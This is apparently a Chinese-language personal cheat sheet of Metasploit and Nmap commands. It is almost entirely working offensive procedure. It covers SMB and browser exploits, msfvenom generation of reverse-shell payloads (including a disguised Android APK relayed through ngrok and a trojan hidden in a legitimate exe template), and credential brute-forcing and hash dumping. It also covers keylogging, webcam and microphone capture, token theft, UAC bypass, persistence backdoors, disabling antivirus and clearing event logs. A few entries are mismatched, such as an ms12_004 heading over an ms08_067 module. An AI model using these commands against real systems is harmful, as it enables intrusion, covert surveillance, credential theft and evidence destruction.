Metasploit总结--持续更新

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
search 搜索 search -f *.jpg
download
webcam_stream -i 1/2 打开前置或后置摄像头
check_root 检测root
dump_calllog 下载电话记录
dump_contacts 下载信息记录
geolocate 定位,需要下载谷歌地图

基本命令:
#1 首先启动postgresql数据库:/etc/init.d/postgresql start;或者 service postgresql start;
#2 初始化MSF数据库(关键步骤!):msfdb init;
#3 运行msfconsole:msfconsole;
#4 在msf中查看数据库连接状态:db_status。
如果不想每次开机都这样,还可以配置随系统启动
update-rc.d postgresql enable
update-rc.d metasploit enable

/usr/share/metasploit-framework Kali中msf的路径为
/usr/share/metasploit-framework/scripts/resource/ 脚本文件
/usr/share/metasploit-framework/modules/exploits/multi/http
常用命令:msfconsole -r /usr/share/metasploit-framework/scripts/resource/powershell.rc

netstat -anp |grep 端口 kill -9 PID//相当于windows下的
netstat -ano netstat -aon|findstr "3306" tasklist|findstr "4936" taskkill /f /t /im spx.exe 结束进程
find / -name hamster.txt 寻找某个文件
find / -name hamster.txt找命令
apt-get clean && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y 源的更新与清理
apt-get install linux-headers-$(uname -r) #linux内核更新
dpkg --add-architecture i386 .添加对32位的支持
ps 查看进程
migrate 注入进程 进程ID 一般选择explorer.exe对应的PID
run vnc 查看远程桌面

文件操作
cat 查看文件
edit 编辑文件
upload 上传文件
download 下载文件
rm 删除文件
mkdir 创建文件夹
rmdir 删除文件夹

网络及系统操作
enumdesktops 在线用户数
uictl disable keyboard 让键盘失效
uictl enable keyboard 恢复键盘
record_mic -d 10 音频录制 录制10秒
webcam_stream 开启摄像头
getsystem 获取最高权限
hashdump 密码hash

help 查看帮助
run scriptname 运行脚本
sysinfo 系统基本信息
ls 列目录
use priv 运行提权组件
ps 列进程
migrate PID PID 迁移
use incognito token 窃取
list_tokens -u 查看可用用户token
list_tokens -g 查看可用组token
impersonate_token DOMAIN_NAME\USERNAME 模仿token
steal_token PID 窃取PID 所属token 并模仿
drop_token 停止模仿token
getsystem 获取SYSTEM 权限
shell 运行shell
execute -f cmd.exe -i 交互式运行cmd
execute -f cmd.exe -i -t 使用可用token 运行
execute -f cmd.exe -i -H -t 同上,同时隐藏进程
rev2self 返回至初始用户
reg command 修改注册表
setkesktop number 切换至另一已登录用户屏幕
screenshot 截屏
upload file 上传文件
download file 下载文件
keyscan_start 开始截取击键记录
keyscan_stop 停止截取击键记录
getprivs 尽可能提升权限
uictl enable keyboard/mouse 获取键盘或鼠标的控制权
background 将当前meterpreter shell 转入后台
hashdump 导出所有用户hash
use sniffer 加载嗅探模块
sniffer_interfaces 查看可用网卡接口
sniffer_dump interfaceID pcapname 开始嗅探
sniffer_start interfaceID packet-buffer 指定buffer 范围嗅探
sniffer_stats interfaceID 抓取统计信息
sniffer_stop interfaceID 停止嗅探
add_user username password -h ip 添加用户
add_group_user “Domain Admins” username -h ip 添加用户至管理组
clearev 清空日志
timestomp 改变文件属性如创建时间等
reboot 重启

漏洞扫描

检测端口服务

检测端口

1
2
3
msf> nmap –sT –A –P0 192.168.1.130 #探测开放服务
假如已经探测到1433(TCP)和1434(UDP)端口(mssql),
msf> nmap –sU 192.168.1.130 –P 1434 #确认端口开放

检测服务

1
2
3
4
5
msf > search portscan
msf > use auxiliary/scanner/portscan/syn
msf > use auxiliary/scanner/portscan/tcp
msf > use auxiliary/scanner/smb/smb_version
msf > use auxiliary/scanner/ftp/ftp_version

mssql开发利用

对各个ip是否有mssql服务的探测

1
2
3
4
5
use scanner/mssql/mssql_ping //测试MSSQL的存在和信息
show options
set rhosts 192.168.2.1-255
set threads 30
exploit

对扫描到的ip进行爆破

1
2
3
4
5
6
7
msf> use auxiliary/scanner/mssql/mssql_login
show options
set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt
set RHOSTS 192.168.1.130
set THREADS 10
set verbose false
exploit

sa权限对其利用

1
2
3
4
5
use admin/mssql/mssql_exec
set rhost 192.168.2.10
set password sa
set CMD cmd.exe /c echo hello
exploit

爆破ssh模块

1
2
3
4
5
6
use auxiliary/scanner/ssh/ssh_login
set rhosts 7.7.7.20
set username root
set pass_file /root/pass.txt //加载字典,可以收集密码做字典
set threads 50
run

通过nmap扫描基本漏洞

1
2
msf > nmap –script=vuln 受害靶机ip地址
msf > nmap –script=mysql-info 192.168.0.4 //扫描mysql数据库信息 版本 等..

445端口扫描系统信息

1
2
3
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.211.1-200
run

密码嗅探

1
use auxiliary/sniffer/psnuffle

SNMP扫描和枚举

1
use auxiliary/scanner/snmp/snmp_login

VNC身份验证

1
2
3
4
use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS 192.168.211.137
set threads 100
run

FTP 主机扫描

1
2
3
4
5
msf> use auxiliary/scanner/ftp/ftp_version
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run

扫描FTP 匿名登录

1
2
3
4
use auxiliary/scanner/ftp/anonymos
set RHOSTS 192.168.1.0/24
set THREADS 50
run

VNC 空口令

1
2
3
msf> use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS 192.168.1.111
run

Open X11 空口令

1
2
3
4
msf> use auxiliary/scanner/x11/open_x11
set RHOST 192.168.1.0/24
set THREADS 50
run

溢出漏洞

ms08_067

1
2
3
4
5
6
use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST 192.168.211.137
set LHOST 192.168.211.137
set threads 100
run

ms12_004

1
use exploit/windows/smb/ms08_067_netapi

ms14_002内核提权(使用于32bit)

1
2
exploit/windows/local/ms_ndproxy
set session 2

设置一个选项或取消设置set/unset
设置或取消全局选项setg/unsetg 例如设置LHOST 就可以用setg,避免后面重复设置
保存全局选项的设置save 当下次启动仍然生效

使用用户端攻击方式(client-side attacks)

①主要指利用多种途径包括社会工程学方式攻击目标机器上安装的带有漏洞的程序如浏览
器,pdf 阅读器,office 软件等,最终获取系统权限。

1
2
3
4
5
6
7
8
9
msf> use windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
set SRVPORT 80
set URIPATH /
set LHOST 192.168.211.179
set LPORT 443
exploit –z
sessions –i 1
run migrate

②文件格式exploit
利用文件格式的漏洞达到溢出的目的,比如PDF,word,图片等。
例子:

1
2
3
4
5
msf> use windows/fileformat/ms11_006_createsizeddibsection info
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.211.179
set LPORT 443
exploit

此时会生成一个msf.doc 的word 文档,在目标机器上打开此文档,然后本机监听端口
等待反弹连接:

1
2
3
4
5
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.211.179
set LPORT 443
exploit –j

Meterpreter Payload

metasploit安卓木马远控

metasploit之安卓木马结合ngrok远控

1
2
3
4
5
msfvenom -p android/meterpreter/reverse_tcp LHOST=free.ngrok.cc LPORT=11*** R > /root/Desktop/123.apk

keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000 执行下列命令签名。首先使用密钥工具创建密钥库
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore 123.apk aliasname 然后使用JARsigner签名APK
jarsigner -verify -verbose -certs 123.apk 再用JARsigner验证签名

meterpreter收到shell

1
2
3
4
use exploit/multi/handler
Set PAYLOAD android/meterpreter/reverse_tcp
SET LHOST 192.168.253.128
SET LPORT 2222

metasploit之木马生成

生成一个window木马返回shell -p window平台正向链接 -e 编码 -b 字符列表 -f 平台

1
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp –e x86/shikata_ga_nai -b '\x00' -f python

两次弹框:payload

1
2
3
msfvenom -a x86 --platform windows -p windows/messagebox TEXT=MSFU Example -f raw > messageBox
msfvenom -c messageBox -a x86 --platform windows -p windows/messagebox TEXT=“We are evil” -f raw > messageBox2
msfvenom -c messageBox2 -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.211.179 LPORT=4444 -f exe -o andy.exe

可以生成具有网易云音乐相同模板功能的木马exe

1
msfvenom -a x86 --platform windows -x 1.exe -k -p windows/meterpreter/reverse_tcp  LHOST=192.168.211.179 LPORT=4444  –b “\ x00” -f exe -o 2.exe

-k 保留exe的行为 -x 指定一个文件 -p 保留模版行为 -o 保留为2.exe

metasploit之powershell

1
2
3
4
5
6
7
use exploit/multi/script/web_delivery
set PAYLOAD windows/meterpreter/reverse_tcp
set TARGET 2
set LHOST 192.168.211.179
set LPORT 4444
set URIPATH /
run

metasploit之PHP

1
2
3
4
5
6
msfvenom -p php/meterpreter_reverse_tcp LHOST=60.205.212.140 LPORT=8888 -f raw > shell.php
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST 172.17.150.246
set LPORT 8888
exploit -j

metasploit之shellcode

1
msfvenom -p windows/meterpreter/reverse_tcp LPORT=1234 LHOST=60.205.212.140 -e x86/shikata_ga_nai -i 11 -f py > 1.py //-e 使用编码 -i 编码次数

metasploit之提权

1.getsystem

1
meterpreter > getsystem //直getsystem提权,最常用简单的办法

2.使用exp提权

1
2
3
4
5
6
meterpreter > background //先后台运行会话
[*] Backgrounding session 1…
msf > use post/windows/escalate/ms10_073_kbdlayout
msf > show options
msf > set session 1 //设置要使用的会话
msf post(ms10_073_kbdlayout) > exploit

注意:如果创建了一个system进程,就可以立马sessions 1进入会话,然后ps查看进程,使用migrate pid注入到进程。
或者直接:

1
meterpreter > run post/windows/escalate/ms10_073_kbdlayout

3.盗取令牌

1
2
3
meterpreter > use incognito //进入这个模块
meterpreter > list_tokens –u //查看存在的令牌
meterpreter > impersonate_token NT AUTXXXX\SYSTEM //令牌是DelegationTokens一列,getuid查看,两个斜杠

注:只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的,建好的账户没有这个权限。使用菜刀(IIS服务器权限)反弹meterpreter是服务型权限。

4.Bypassuac

1
2
3
4
msf > use exploit/windows/local/bypassuac //32位与64位一样,其他几个模块也一样
msf > show options
msf > set session 4
msf > run //成功后会返回一个新的session,进入新会话,发现权限没变,使用getsystem即可完成提权

5.Hash

1
meterpreter > run post/windows/gather/smart_hashdump //读取hash这种做法最智能,效果最好。

6.漏洞提权的匹配

1
2
3
use post/multi/recon/local_exploit_suggester
use exploit/windows/local/bypassuac_fodhelper
set payload windows/meterpreter/reverse_tcp

建立持久后门

1.服务启动后门

1
2
3
4
5
6
meterpreter > run metsvc -A //再开起一个终端,进入msfconsole
msf > use exploit/multi/handler //新终端中监听
msf > set payload windows/metsvc_bind_tcp
msf > set LPORT 31337
msf > set RHOST 192.168.0.128
msf > run //获取到的会话是system权限

2.persistence

1
2
meterpreter > run persistence -X -i 10 -p 6666 -r 192.168.71.105
-X 系统开机自启,-i 10 10秒重连一次,-p 监听端口,-r 监听机。直接监听就好了,他自己会链接回来。

注意到移除 persistence 后门的办法是删除 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\中的注册表键和 C:\WINDOWS\TEMP\中的VBScript文件。
缺点:容易被杀毒软件杀 。

  1. 清除记录
1
msf > clearev //删除目标机上的应用程序、系统和安全日志。

Meterpreter域渗透

添加路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
meterpreter> run get_local_subnets #查看网段/子网
Local subnet: 192.168.33.0/255.255.255.0
meterpreter> background #转入后台运行
msf> route add 192.168.33.0 255.255.255.0 1 #本地添加路由信息
msf> route print #查看添加的信息
msf> use linux/samba/lsa_transnames_heap #准备向内网目标主机进攻
set payload linux/x86/shell/reverse_tcp
set LHOST 10.10.1.129 #此处为attacking 主机的外网IP
set LPORT 8080
set RHOST 192.168.33.132 #内网目标主机
exploit
也可以使用自动式添加路由模块:
msf> load auto_add_route
msf> exploit

Meterpreter 脚本

1.vnc 脚本,获取远程机器vnc 界面控制

1
2
meterpreter> run vnc
meterpreter> run screen_unlock

2.进程迁移

1
2
meterpreter> run post/windows/manage/migrate
//在64 位win7 中migrate 需要管理员权限执行后门才能成功,而migrate 前后获取的

在64 位win7 中migrate 需要管理员权限执行后门才能成功,而migrate 前后获取的 权限是有差异的

3.关闭杀毒软件

1
meterpreter> run killav //这个脚本要小心使用,可能导致目标机器蓝屏死机

4.获取系统密码hash

1
2
run hashdump //64 位win7 下需要管理员权限执行后门且先getsystem,然后使用
run post/windows/gather/hashdump 来dump hash 成功率更高

5.获取系统流量数据

1
meterpreter> run packtrecorder –i 1

6.获取密码,下载注册表,获取系统信息等

1
meterpreter> run scraper

7.持久化

1
meterpreter> run persistence –X –i 50 –p 443 –r 192.168.1.111

-X 开机启动-i 连接超时时间–p 端口–rIP

8.POST 整合模块

1
meterpreter> run post/windows/gather/hashdump

9.升级command shell

1
2
3
4
5
6
7
8
9
10
msfconsole
msf> search ms08_067
msf> use windows/smb/ms08_067_netapi
set PAYLOAD windows/shell/reverse_tcp
set TARGET 3
setg LHOST 192.168.1.111
setg LPORT 8080
exploit –z #后台运行,如果此处未使用-z 参数,后面可以按CTRL-Z 转到后台
sessions –u 1 #升级shell,必须前面使用setg 设定
sessions –i 2

10.使用Railgun 操作windows APIs

1
2
meterpreter> irb
client.railgun.user32.MessageBoxA(o,”hello”,”world”,”MB_OK”)

在目标机器上会弹出一个标题栏为world 和内容为hello 的窗口

Metasploit结合Nmap(lua语言)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
nmap -sS -p 3389 -oG- 221.0.90.0/24 | grep open     显示3389端口开放的主机
nmap --script=default 192.168.211.137 搜集各种应用服务的信息
nmap --script=vuln 192.168.211.137
nmap --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.211.137 smb已知几个严重漏洞
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" 192.168.137.4 xp_cmdshell 执行命令
nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa,mssql.password=sa 192.168.137.4 dumphash值
nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.137.4 列出所有mysql用户
nmap -sT -PN –spoof-mac aa:bb:cc:dd:ee:ff target MAC地址欺骗
nmap -p80 --script http-brute --script-args http-brute.path=/admin/ <target>暴力破解HTTP身份认证
nmap -p80 --script http-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target> 使用自定义的字典
nmap --script http-brute --script-args brute.mode=user <target>用户模式:该模式下,对于userdb中的每个user,会尝试passdb里面的每个password
nmap --script http-brute --script-args brute.mode=pass <target> 密码模式:该模式下,对于passdb中的每个password,会尝试userdb里面的每个user
nmap -p80 --script http-default-accounts <target> 测试默认凭据
nmap -p80 --script http-wordpress-brute --script-args http-wordpressbrute.threads=5 <target> WordPress审计
nmap -p80 --script http-joomla-brute <target> Joomla审计
nmap -p80 --script http-waf-detect --script-args=”http-waf-detect.aggro” <target>检测Web应用防火墙
nmap -p80 --script http-unsafe-output-escaping <target> 检测跨站脚本漏洞
nmap -p80 --script http-sql-injection <target> 检测SQL注入
nmap -p80 --script http-sql-injection --script-args http.useragent=”Mozilla 42″ <target> 同样可以设置User Agent和HTTP管道的数目
nmap -sV --script=mysql-databases --script-args mysqluser=root,mysqlpass=toor 192.168.195.130 列出数据库名称
nmap -sV --script=mysql-users 192.168.195.130 用户审计
sudo nmap --script mysql-empty-password 192.168.195.130 检查root空口令
nmap --script=mysql-brute localhost 暴力破解
nmap --script=mysql-info localhost Mysql信息
nmap -p25 -Pn --script smtp-brute target 暴力破解SMTP密码
nmap -p80 --script=http-email-harvest target 谷歌搜索发现有效的电子邮件帐户
nmap –script=mysql-vuln-cve2012-2122 localhost 使用CVE-2012-2122

漏洞银行

1
2
3
4
5
6
7
8
9
nmap --script=struts_02-045.nse --script-args filename=***.jsp 192.168.211.137  查看某个网页有没有shell
nmap -p80,139,445 --script=smb-vul*
开始扫描→→主机发现→→端口扫描→→版本侦查→→OS侦测(系统)
主机发现:采用不同判断方式
端口扫描:通过正则匹配对比指纹
版本侦测:通过侦测banner(也就是状态码)
OS侦测 :nmap-os-db
Nmap Engine
开始扫描→→主机发现→→端口扫描→→nse脚本→→动作处理

嘶吼

1
2
3
4
5
6
7
8
9
10
cd /usr/share/nmap/scripts/   Nmap脚本目录
ls vulscan/*.csv vulscan目录的根目录中查看这些数据库
cd /usr/share/nmap/scripts/utilities/updater/ ./updateFiles.sh 更新数据库
nmap --script nmap-vulners -sV <目标IP> Nmap-Vulners进行扫描
nmap --script vulscan -sV <目标IP> 使用Vulscan进行扫描
nmap --script vulscan --script-args vulscandb=database_name -sV <目标IP>
nmap --script vulscan --script-args vulscandb=scipvuldb.csv -sV <目标IP>
nmap --script vulscan --script-args vulscandb=exploitdb.csv -sV <目标IP>
nmap --script vulscan --script-args vulscandb=securitytracker.csv -sV <目标IP>
nmap --script=http-vuln-cve2017-5638.nse 192.168.211.137
-------------本文结束感谢您的阅读-------------